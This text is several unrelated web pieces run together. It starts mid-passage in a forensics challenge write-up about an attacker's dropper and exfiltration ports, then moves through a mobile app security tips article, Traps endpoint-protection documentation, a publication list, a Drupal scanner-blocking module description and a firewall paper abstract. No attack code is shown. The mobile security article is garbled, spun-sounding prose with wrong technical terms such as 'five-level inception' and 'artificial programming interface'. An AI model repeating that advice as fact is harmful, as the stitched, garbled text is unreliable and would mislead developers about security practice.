correct CVE. 9. During this attack, the attacker downloaded two files to the server. Provide the name of the compressed file.? The dropper file was clear in the logged Headers. 10. Two ports were involved in the process of data exfiltration. Provide the port number of the highest one.? Using Memory Network Connections, We can identify the ports that the attacker used. 11. Which port did the attacker try to block on the firewall? To identify what the attacker tried to run on the system. we can look into many places like the bash history, cron jobs, etc. the only place that had an iptable rule was the dropper the attacker downloaded into /tmp. Uncompressing the dropped file, and navigating through the code. we can identify the firewall rule the attacker tried to add.
From the past 10-20 years, mobile applications have taken the whole world and nowadays everything ranging from booking their tickets to paying the bills everything can be done with the help of smartphones and mobile applications. Hence, with the increased usage the threats associated with the whole process have also increased significantly which is the main reason people must pay proper attention to the mobile application security to ensure smooth and efficient working all the time. Going with this particular option will always help in making sure that consumer’s private as well as sensitive information is prevented and there is no breach of security throughout the process. Applications will not be paid proper attention. The hackers can do several kinds of things for example they can inject the malware into the applications and can access the complete data. They can tamper the code of the applications and can run a fraudulent version of the same application or they can intercept the sensitive information or they can access the IP address because of which they can also get the hold of intellectual property very easily. Hence, to avoid all these kinds of issues the developers have to pay proper attention to several kinds of things so that application security can be increased. Following are some of the tips through which the developers can make their applications very much safe and secure: One must secure the application: One of the core foundations of the application is security is considered to be the basic priority of any organization. Hence, each of the browsers has an interface that must be protected very well to make sure that one and its abilities are dealt with very easily. Hence, for this purpose, the application code must be encrypted and modern algorithms along with application programming interface encryption should be implemented. The testing of the application must be done perfectly to make sure the chances of vulnerabilities are decreased. The codes should also be made very much easy so that there is no issue of patch and update. Different kinds of things must be added to the security and for this purpose, several kinds of things for example runtime memory, battery usage, and performance and must be kept in mind. There must be a secure back end: It is very much important for the developers to make sure that they go with the option of implementing several kinds of robust security measures so that data breaches can be prevented and unauthorized access can be avoided. Hence, interrupted containers must be there so that important data can be stored, and hiring the network security specialist should be the best priority of the organizations so that smooth and secure functioning can be insured. Different kinds of layers of security for example VPN, TLS, SSL must be added to the basic data-based encryption. The organizations must always have a very solid API strategy: The application programming interface components consume a very large quotient of the application in terms of security. Hence, the flow of data between several kinds of applications and the cloud servers must be dealt with very well so that authorization can be done and data can be accessed. This is the main reason the channels for content, data and some clarity should be dealt with very well and for this purpose identification, authorization and authentication must be implemented by the organizations with the help of a well-engineered artificial programming interface. The company should very well focus on good mobile encryption: It is very much important for the native people and applications to understand how the performance will be judged and for this purpose several kinds of things for example bandwidth and performance across different kinds of devices must be dealt with. The third-party applications which are there in the market should be dealt with properly so that privacy and identity are never addressed and for this purpose, the companies must go with the option of implementing the five-level inception, the inception of the local database, Key management of things so that sensitive information of the consumers and users are protected all the time and there is no misuse by the hackers. To secure a mobile application, a developer should go with a code signing certificate as it verifies the publisher/developer of an application as well ensures end users that they are downloading a safe application and the code has not tampered. There must be proper device protection: Each of the security aspects must be dealt with by the developers very well so that assessment of the application can be done very well and there is no compromise with the security-related threats. People must always avoid the jailbroken and iOS rooted android devices very normally because they will always temper the built-in security protocols and will make the Smartphone device highly exposed to security threats. These kinds of concepts will also help in removing the quality of the device which must be kept in mind by the people. Also one must always download the application from the most trusted sources along with the review reading process and one must go with the option of installing the good antivirus for this my phone so that each of the applications has been scanned before downloading. The application owners should always indulge themselves in multiple application testing: Testing multiple times is a very important component of the whole app development process which is the main reason this thing must be taken into consideration by the developers. Testing must be done to detect any kind of vulnerability throughout the process and make sure that the error free final version is launched in the market. Emulators, Virtual boxes, authentication, data security, authorisation, social management, penetration testing and several other things must be implemented by the organisation to make sure that functioning is smooth, secure and efficient all the time. It is very much important for the companies to make for the investment options in the form of employees and usage of devices so that security threats are dealt very well. It is the responsibility of the people to implement the secure connection with the help of VPN and there are several kinds of security measures which the companies can take so that there is proper peace of mind all the time and private data is safe and secure.
Define Child Process Restrictions The child process restriction rule is supported in Traps 3.4 and earlier releases. To restrict child processes on endpoints running Traps 4.0 and later releases, Configure Child Process Protection. In an attempt to control an endpoint, an attacker can cause a legitimate process to spawn malicious child processes. Define a restriction rule to prevent child processes from launching from one or more processes. - Begin a new restriction rule: - Select PoliciesMalwareRestrictions. - From the action menu , Add a new restriction rule. - Select Child Processes (Pre-4.0 Agents). - Define the behavior for child processes. By default, child processes spawned from a process are allowed. - In the Select Processes search field, enter and then select the name of a process. As you type, the ESM Console offers auto-completion for any processes that match your search term. - Repeat steps a to add additional process names, as needed. - (Optional) Add Conditions to the rule. By default, a new rule does not contain any conditions.To specify a condition, select the Conditions tab, select the condition in the Conditions list, and then Add it to the Selected Conditions list. Repeat this step to add more conditions, as needed. To add a condition to the Conditions list, see Define Activation Conditions for a Rule on Windows Endpoints. - (Optional) Define the Target Objects to which to apply the restriction rule. By default, a new rule applies to all objects in your organization.To define a subset of target objects, select the Objects tab, and then enter one or more Users, Computers, Groups, Organizational Unit, or Existing Endpoints in the Include or Exclude areas. The Endpoint Security Manager queries Active Directory to verify the users, computers, groups, or organizational units or identifies existing endpoints from previous communication messages. - (Optional) Review the rule name and description. The ESM Console automatically generates the rule name and description based on the rule details but permits you to change these fields, if needed.To override the autogenerated name, select the Name tab, clear the Activate automatic description option, and then enter a rule name and description of your choice. - Save the restrictions rule.Do either of the following: After saving or applying a rule, you can return to the Restrictions page at any time to Delete or Deactivate the rule. - Save the rule without activating it. This option is only available for inactive, cloned, or new rules. When you are ready to activate the rule, select the rule from the PoliciesMalwareRestrictions page and then click Activate. - Apply the rule to activate it immediately. Add a New Restriction Rule Add a New Restriction Rule Create a new restriction rule to define limitations on where and how executable files run on endpoints. Configure a new ... Define Java Restrictions Define Java Restrictions The Java restriction rule is supported in Traps 3.4 and earlier releases. To restrict Java processes from running specific child processes on ... Configure Child Process Protection Configure Child Process Protection The Child Process Protection MPM supersedes the Child Processes restriction rule and whitelist available in Traps 3.4 and earlier releases. To ... Restriction Rules A restriction rule limits the surface of an attack on a Windows endpoint by defining where and how your users can run executable ... Define External Media Restrictions Define External Media Restrictions Malicious code can gain access to endpoints through external media, such as removable drives and optical drives. To protect against this ... Configure the Gatekeeper Enhancement MPM Configure the Gatekeeper Enhancement MPM The Gatekeeper Enhancement MPM is an enhancement of the macOS gatekeeper functionality which allows apps to run based on their ... Block Execution from Local Folders Block Execution from Local and Network Folders Many attack scenarios are based on writing malicious executable files in remote folders and common local folders—such as ... Whitelist a Network Folder Whitelist a Network Folder To prevent attack scenarios that are based on writing malicious executable files to remote folders, you can create a restriction rule ... Define Memory Dump Preferences Define Memory Dump Preferences When a protected process crashes or terminates abnormally, Traps records information about the event including the contents of memory locations and ...
- C. Hanks, M. Maiden, P. Ranade, T. Finin, and A. Joshi, "Recognizing and Extracting Cybersecurity Entities from Text", InProceedings, Workshop on Machine Learning for Cybersecurity, International Conference on Machine Learning, July 2022, 800 downloads. - C. Hanks, M. Maiden, P. Ranade, T. Finin, and A. Joshi, "CyberEnt: Extracting Domain Specific Entities from Cybersecurity Text", InProceedings, Mid-Atlantic Student Colloquium on Speech, Language and Learning, April 2022, 682 downloads. - A. Piplai, P. Ranade, A. Kotal, S. Mittal, S. N. Narayanan, and A. Joshi, "Using Knowledge Graphs and Reinforcement Learning for Malware Analysis", InProceedings, IEEE International Conference on Big Data 2020, December 2020, 909 downloads. - N. Khurana, S. Mittal, A. Piplai, and A. Joshi, "Preventing Poisoning Attacks on AI based Threat Intelligence Systems", InProceedings, IEEE Machine Learning for Signal Processing, September 2019, 909 downloads. - A. Pingle, A. Piplai, S. Mittal, A. Joshi, J. Holt, and R. Zak, "RelExt: Relation Extraction using Deep Learning approaches for Cybersecurity Knowledge Graph Improvement", InProceedings, IEEE/ACM International Conference on Advances in Social Networks Analysis and Mining (ASONAM 2019), May 2019, 824 downloads. - L. Neil, S. Mittal, and A. Joshi, "Mining Threat Intelligence about Open-Source Projects and Libraries from Code Repository Issues and Bug Reports", InProceedings, IEEE Intelligence and Security Informatics (IEEE ISI) 2018, September 2018, 1283 downloads. - V. Rathode, S. N. Narayanan, S. Mittal, and A. Joshi, "Semantically Rich, Context Aware Access Control for Openstack", InProceedings, 4th International Conference on Collaboration and Internet Computing, September 2018, 783 downloads. - K. P. Joshi, T. Finin, Y. Yesha, A. Joshi, N. Golpayegani, and N. Adam, "A Policy-based Approach to Smart Cloud Services", InProceedings, Proceedings of the Annual Service Research and Innovation Institute Global Conference, July 2012, 1709 downloads. - J. Martineau, R. Mokashi, D. Chapman, M. A. Grasso, M. Brady, Y. Yesha, Y. Yesha, A. Cardone, and A. Dima, "Sub-cellular Feature Detection and Automated Extraction of Collocalized Actin and Myosin Regions", InProceedings, Proceedings of ACM SIGHIT International Health Informatics Symposium, January 2012, 1507 downloads. - C. Tilmes, M. Linda, and A. J. Fleig, "Development of two Science Investigator-led Processing Systems (SIPS) for NASA's Earth Observation System (EOS)", InProceedings, IEEE Geoscience and Remote Sensing Symposium, 2004, December 2004. - H. Chen, "An Intelligent Broker Architecture for Pervasive Context-Aware Systems", PhdThesis, University of Maryland, Baltimore County, December 2004, 7529 downloads, 17 citations. - Privacy and Security in Online Social Media March 11, 2013 - An architecture for enterprise information interoperability November 9, 2012 - Corporate Use of Open Source Software October 8, 2010 - Blackbook3: A Graph Analytic Processing Platform For The Semantic Web October 6, 2009 - Understanding RSM: Relief Social Media September 15, 2009 - Gnizr: an open source social bookmarking application November 5, 2007 - Service-Oriented Computing: Next-Generation Integration of Software Systems May 11, 2007 - NOWHERE: A Knowledge Level Agent Programming Infrastructure September 5, 2006 - PhD Defense: An Intelligent Broker Architecture for Pervasive Context-Aware Systems December 3, 2004 - Open Source XML Databases: Xindice and eXist April 19, 2004
Antiscan is an add-on module that extends the IP address blocking module (version 1.x-1.0.5 or newest) to automatically block anyone who tries to access paths defined as restricted. Usually it is a bad crawler looking for known potentially vulnerable paths, such as "wp-admin.php", "xmlrpc.php" and so on. Also, since version 1.x-1.0.5 of this module, you can block bad bots using their well-known User-Agent strings and spam referrer domains. Since version version 1.x-1.0.4 new option "Report to AbuseIPDB" can be enabled for automatic reporting to AbuseIPDB about blocked scanners activity. You need to install AbuseIPDB report module to see and use this option. You can see description of module on the page of this site too: Report to AbuseIPDB Administration page is available via menu Administration > Configuration > User accounts > Antiscan (admin/config/people/antiscan) and may be used for: - add your patterns for paths to be restricted (some usefull patterns are already added out of the box); - set User-Agent strings, which will be blocked; - set Referrer spam domains to block; - enable automatic reporting to AbuseIPDB about blocked scanners activity ("AbuseIPDB report" module should be installed); - enable logging for blocked access attempts (enabled by default); - select the time after which the blocked IP will be unblocked automatically; - enable "Test Mode" to test your patterns, your current IP will not be blocked, but you may see a message when you try to visit the restricted path; - set paths or portions of paths that will NOT be restricted to avoid self-blocking. Log of module activity: An example of the block with information about the number of currently blocked IP:
Roelle, H. (2002): A Hot-Failover State Machine for Gateway Services and Its Application to a Linux Firewall Nowadays, companies of any size rely on their IT-infrastructure since it provides connectivity to the outside world. Services like firewalls, being positioned between the own domain and a foreign one, form a premises for higher level services. Therefore, such gateway services must be considered as especially mission-critical. While there exist high availability solutions for special service types, a generic solution which can be applied to arbitrary gateway services, especially for smaller sized scenarios, is missing. Fault tolerance in terms of high availability is addressed by this paper through the concept of redundancy. Presenting a generic state machine for monitoring and takeover processes, it leads to an universally applicable logic. The state machine's basis is derived from requirements posed by the generic scenario of gateway services. Furthermore, our solution's practical applicability is shown by presenting an implementation carried out for a Linux-based firewall system. (c) Springer-Verlag, http://www.springeronline.com/lncs

Subsets and Splits

No community queries yet

The top public SQL queries from the community will appear here once available.